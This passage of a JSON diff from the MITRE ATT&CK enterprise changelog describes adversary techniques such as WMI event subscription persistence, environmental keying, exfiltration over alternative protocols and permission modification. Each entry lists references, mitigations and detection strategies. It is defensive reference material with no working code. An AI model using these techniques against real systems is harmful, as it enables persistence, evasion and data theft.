+ "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Robert Wilson",
+ "Tony Lambert, Red Canary"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
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+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "2.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Creation\", \"Command: Command Execution\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.960000+00:00\", \"old_value\": \"2025-04-15 19:59:00.346000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\\n\\nMonitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \\n\\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\\n-\\n-Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \\n-\\n-For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.\"}}}",
+ "previous_version": "2.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0020: Detect Shell Configuration Modification for Persistence via Event-Triggered Execution"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-01-24 14:07:56.276000+00:00",
+ "modified": "2025-10-24 17:49:06.119000+00:00",
+ "name": "Windows Management Instrumentation Event Subscription",
+ "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user login, or the computer's uptime.(Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system.(Citation: FireEye WMI SANS 2015)(Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts \u2013 using `mofcomp.exe` \u2013into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription.(Citation: Dell WMI Persistence)(Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "privilege-escalation"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1546/003",
+ "external_id": "T1546.003"
+ },
+ {
+ "source_name": "FireEye WMI 2015",
+ "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
+ "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf"
+ },
+ {
+ "source_name": "Dell WMI Persistence",
+ "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.",
+ "url": "https://www.secureworks.com/blog/wmi-persistence"
+ },
+ {
+ "source_name": "FireEye WMI SANS 2015",
+ "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20221203203722/https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf"
+ },
+ {
+ "source_name": "Medium Detecting WMI Persistence",
+ "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.",
+ "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96"
+ },
+ {
+ "source_name": "Elastic - Hunting for Persistence Part 1",
+ "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.",
+ "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1"
+ },
+ {
+ "source_name": "Mandiant M-Trends 2015",
+ "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved November 17, 2024.",
+ "url": "https://web.archive.org/web/20160629094859/https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf"
+ },
+ {
+ "source_name": "Microsoft Register-WmiEvent",
+ "description": "Microsoft. (n.d.). Retrieved January 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1"
+ },
+ {
+ "source_name": "TechNet Autoruns",
+ "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
+ "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+ },
+ {
+ "source_name": "Microsoft MOF May 2018",
+ "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Brent Murphy, Elastic",
+ "David French, Elastic",
+ "Viren Chaudhari, Qualys"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows"
+ ],
+ "x_mitre_version": "1.5",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"WMI: WMI Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.119000+00:00\", \"old_value\": \"2025-04-15 19:58:50.950000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\\n\\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence.(Citation: TechNet Autoruns)(Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\\n-\\n-Monitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet, as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).(Citation: Microsoft Register-WmiEvent)\"}}}",
+ "previous_version": "1.5",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1026: Privileged Account Management",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0005: WMI (WMI Creation)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0086: Detect WMI Event Subscription for Persistence via WmiPrvSE Process and MOF Compilation"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2019-01-31 02:10:08.261000+00:00",
+ "modified": "2025-10-24 17:49:03.764000+00:00",
+ "name": "Execution Guardrails",
+ "description": "Adversaries may use execution guardrails to constrain execution or actions based on adversary supplied and environment specific conditions that are expected to be present on the target. Guardrails ensure that a payload only executes against an intended target and reduces collateral damage from an adversary\u2019s campaign.(Citation: FireEye Kevin Mandia Guardrails) Values an adversary can provide about a target system or environment to use as guardrails may include specific network share names, attached physical devices, files, joined Active Directory (AD) domains, and local/external IP addresses.(Citation: FireEye Outlook Dec 2019)\n\nGuardrails can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This use of guardrails is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of guardrails will involve checking for an expected target-specific value and only continuing with execution if there is such a match.\n\nAdversaries may identify and block certain user-agents to evade defenses and narrow the scope of their attack to victims and platforms on which it will be most effective. A user-agent self-identifies data such as a user's software application, operating system, vendor, and version. Adversaries may check user-agents for operating system identification and then only serve malware for the exploitable software while ignoring all other operating systems.(Citation: Trellix-Qakbot)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1480",
+ "external_id": "T1480"
+ },
+ {
+ "source_name": "FireEye Outlook Dec 2019",
+ "description": "McWhirt, M., Carr, N., Bienstock, D. (2019, December 4). Breaking the Rules: A Tough Outlook for Home Page Attacks (CVE-2017-11774). Retrieved June 23, 2020.",
+ "url": "https://www.fireeye.com/blog/threat-research/2019/12/breaking-the-rules-tough-outlook-for-home-page-attacks.html"
+ },
+ {
+ "source_name": "Trellix-Qakbot",
+ "description": "Pham Duy Phuc, John Fokker J.E., Alejandro Houspanossian and Mathanraj Thangaraju. (2023, March 7). Qakbot Evolves to OneNote Malware Distribution. Retrieved June 7, 2024.",
+ "url": "https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/"
+ },
+ {
+ "source_name": "FireEye Kevin Mandia Guardrails",
+ "description": "Shoorbajee, Z. (2018, June 1). Playing nice? FireEye CEO says U.S. malware is more restrained than adversaries'. Retrieved January 17, 2019.",
+ "url": "https://www.cyberscoop.com/kevin-mandia-fireeye-u-s-malware-nice/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Nick Carr, Mandiant"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.3",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:03.764000+00:00\", \"old_value\": \"2025-04-15 19:58:48.316000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of guardrails may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\"}}}",
+ "previous_version": "1.3",
+ "changelog_mitigations": {
+ "shared": [
+ "M1055: Do Not Mitigate"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0562: Multi-Platform Execution Guardrails Environmental Validation Detection Strategy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-06-23 22:28:28.041000+00:00",
+ "modified": "2025-10-24 17:49:35.768000+00:00",
+ "name": "Environmental Keying",
+ "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1480/001",
+ "external_id": "T1480.001"
+ },
+ {
+ "source_name": "Proofpoint Router Malvertising",
+ "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.",
+ "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices"
+ },
+ {
+ "source_name": "Kaspersky Gauss Whitepaper",
+ "description": "Kaspersky Lab. (2012, August). Gauss: Abnormal Distribution. Retrieved January 17, 2019.",
+ "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/20134940/kaspersky-lab-gauss.pdf"
+ },
+ {
+ "source_name": "Ebowla: Genetic Malware",
+ "description": "Morrow, T., Pitts, J. (2016, October 28). Genetic Malware: Designing Payloads for Specific Targets. Retrieved January 18, 2019.",
+ "url": "https://github.com/Genetic-Malware/Ebowla/blob/master/Eko_2016_Morrow_Pitts_Master.pdf"
+ },
+ {
+ "source_name": "EK Clueless Agents",
+ "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.",
+ "url": "https://www.schneier.com/academic/paperfiles/paper-clueless-agents.pdf"
+ },
+ {
+ "source_name": "EK Impeding Malware Analysis",
+ "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.",
+ "url": "https://pdfs.semanticscholar.org/2721/3d206bc3c1e8c229fb4820b6af09e7f975da.pdf"
+ },
+ {
+ "source_name": "Demiguise Guardrail Router Logo",
+ "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019.",
+ "url": "https://github.com/nccgroup/demiguise/blob/master/examples/virginkey.js"
+ },
+ {
+ "source_name": "Environmental Keyed HTA",
+ "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved November 17, 2024.",
+ "url": "http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Nick Carr, Mandiant"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:35.768000+00:00\", \"old_value\": \"2025-04-15 19:59:20.646000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [
+ "M1055: Do Not Mitigate"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0474: Environmental Keying Discovery-to-Decryption Behavioral Chain Detection Strategy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:44.720000+00:00",
+ "modified": "2025-10-24 17:49:10.460000+00:00",
+ "name": "Exfiltration Over Alternative Protocol",
+ "description": "Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAlternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels. \n\n[Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048) can be done using various common operating system utilities such as [Net](https://attack.mitre.org/software/S0039)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)\n\nMany IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or [Cloud API](https://attack.mitre.org/techniques/T1059/009).",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "exfiltration"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1048",
+ "external_id": "T1048"
+ },
+ {
+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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+ "changelog_mitigations": {
+ "shared": [
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+ "shared": [],
+ "new": [],
+ "dropped": [
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+ "shared": [],
+ "new": [
+ "DET0118: Exploitation of Remote Services \u2013 multi-platform lateral movement detection"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.",
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+ "kill_chain_name": "mitre-attack",
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1008",
+ "external_id": "T1008"
+ },
+ {
+ "source_name": "University of Birmingham C2",
+ "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
+ "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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+ "shared": [],
+ "new": [
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+ "source_name": "Windows Commands JPCERT",
+ "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+ "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
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+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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+ "DET0370: Recursive Enumeration of Files and Directories Across Privilege Contexts"
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+ "created": "2018-10-17 00:14:20.652000+00:00",
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+ "name": "File and Directory Permissions Modification",
+ "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory\u2019s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), [Boot or Logon Initialization Scripts](https://attack.mitre.org/techniques/T1037), [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574).\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.(Citation: new_rust_based_ransomware)(Citation: bad_luck_blackcat)(Citation: falconoverwatch_blackcat_attack)(Citation: blackmatter_blackcat)(Citation: fsutil_behavior) ",
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+ "source_name": "mitre-attack",
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+ "external_id": "T1222"
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+ "source_name": "falconoverwatch_blackcat_attack",
+ "description": "Falcon OverWatch Team. (2022, March 23). Falcon OverWatch Threat Hunting Contributes to Seamless Protection Against Novel BlackCat Attack. Retrieved May 5, 2022.",
+ "url": "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/"
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+ "source_name": "Hybrid Analysis Icacls1 June 2018",
+ "description": "Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018.",
+ "url": "https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100"
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+ "source_name": "Hybrid Analysis Icacls2 May 2018",
+ "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
+ "url": "https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110"
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+ "source_name": "bad_luck_blackcat",
+ "description": "Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.",
+ "url": "https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf"
+ },
+ {
+ "source_name": "fsutil_behavior",
+ "description": "Microsoft. (2021, September 27). fsutil behavior. Retrieved January 14, 2022.",
+ "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/fsutil-behavior"
+ },
+ {
+ "source_name": "EventTracker File Permissions Feb 2014",
+ "description": "Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018.",
+ "url": "https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/"
+ },
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+ "source_name": "blackmatter_blackcat",
+ "description": "Pereira, T. Huey, C. (2022, March 17). From BlackMatter to BlackCat: Analyzing two attacks from one affiliate. Retrieved May 5, 2022.",
+ "url": "https://blog.talosintelligence.com/2022/03/from-blackmatter-to-blackcat-analyzing.html"
+ },
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+ "source_name": "new_rust_based_ransomware",
+ "description": "Symantec Threat Hunter Team. (2021, December 16). Noberus: Technical Analysis Shows Sophistication of New Rust-based Ransomware. Retrieved January 14, 2022.",
+ "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware"
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+ "new": [
+ "DET0299: Multi-Platform File and Directory Permissions Modification Detection Strategy"
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+ "phase_name": "defense-evasion"
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+ "description": "Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.",
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+ "source_name": "20 macOS Common Tools and Techniques",
+ "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
+ "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
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+ "shared": [],
+ "new": [
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+ "modified": "2025-10-24 17:48:37.826000+00:00",
+ "name": "Windows File and Directory Permissions Modification",
+ "description": "Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs).(Citation: Microsoft DACL May 2018) Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.(Citation: Microsoft Access Control Lists May 2018)\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, [PowerShell](https://attack.mitre.org/techniques/T1059/001) provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may 